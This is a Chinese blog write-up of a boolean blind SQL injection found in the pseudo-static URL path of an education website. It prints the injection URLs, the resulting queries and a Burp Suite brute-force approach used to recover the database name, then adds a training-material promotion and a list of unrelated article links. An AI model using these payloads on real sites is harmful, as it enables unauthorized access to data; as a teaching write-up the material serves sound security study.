漏洞挖掘 | 记一次伪静态页面的SQL注入

前言

最近工作繁忙,许久没有挖洞,打开度娘,凡事随缘,偶米头发~~(⊙﹏⊙)

涉及技能点

  • SQL注入基础原理

  • 盲注常用函数及思路

  • burpsuite基础知识

过程记录

1.发现

在翻阅一EDU站点时,发现路径中带有明显的数字参数

好像与我们平时习惯的xxx.php?id=不同呃

2.尝试注入

按照以往习惯,先用order by探探底,结果翻车了...应该有自定义逻辑在过滤敏感关键词。

继续努力,峰回路转,耶~~~!

构造boolen等式时能够被带入查询语句并显示不同效果

当条件不符合时,71-false=71,显示71.html,无数据

复制代码
http://EDU_SITE/.../..._id/71-false.html

=> SELECT ..FROM .. WHERE ... AND _id=71-false

而当条件符合时,71-true=70,显示70.html,有数据

复制代码
http://EDU_SITE/.../..._id/71-true.html

=> SELECT ..FROM .. WHERE ... AND _id=71-true

3.确定攻击方式,获取数据进行验证

获取用户名长度

复制代码
http://EDU_SITE/.../..._id/71-(length(user())=12).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)

获取数据库长度

复制代码
http://EDU_SITE/.../..._id/71-(length(database())=6).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)

尝试用burpsuite的clusterboom模式对database进行爆破

其中参数1 为位数,参数2 为可能出现的字符明文

获得最终database()=db_cms


3.总结

在尝试sql注入的时候,往往过分关注get传参或者post传参而忽略了URL中自带的注入点,有时候一些明显的数字型参数也能够带入payload

多尝试,多总结

祝各位师兄们也都收获满满~~!

更多网络安全优质学习资料与干货教程+

送渗透工具、技术文档、书籍,面试题、视频(基础到进阶。环境搭建,HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等)、应急响应笔记、学习路线。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

相关推荐
musk1212几秒前
electron 打包太大 试试 tauri , tauri 安装打包demo
前端·electron·tauri
万少1 小时前
第五款 HarmonyOS 上架作品 奇趣故事匣 来了
前端·harmonyos·客户端
OpenGL1 小时前
Android targetSdkVersion升级至35(Android15)相关问题
前端
rzl021 小时前
java web5(黑马)
java·开发语言·前端
Amy.Wang1 小时前
前端如何实现电子签名
前端·javascript·html5
时序数据说1 小时前
为什么时序数据库IoTDB选择Java作为开发语言
java·大数据·开发语言·数据库·物联网·时序数据库·iotdb
今天又在摸鱼1 小时前
Vue3-组件化-Vue核心思想之一
前端·javascript·vue.js
蓝婷儿1 小时前
每天一个前端小知识 Day 21 - 浏览器兼容性与 Polyfill 策略
前端
百锦再1 小时前
Vue中对象赋值问题:对象引用被保留,仅部分属性被覆盖
前端·javascript·vue.js·vue·web·reactive·ref
戒不掉的伤怀1 小时前
【Navicat 连接MySQL时出现错误1251:客户端不支持服务器请求的身份验证协议;请考虑升级MySQL客户端】
服务器·数据库·mysql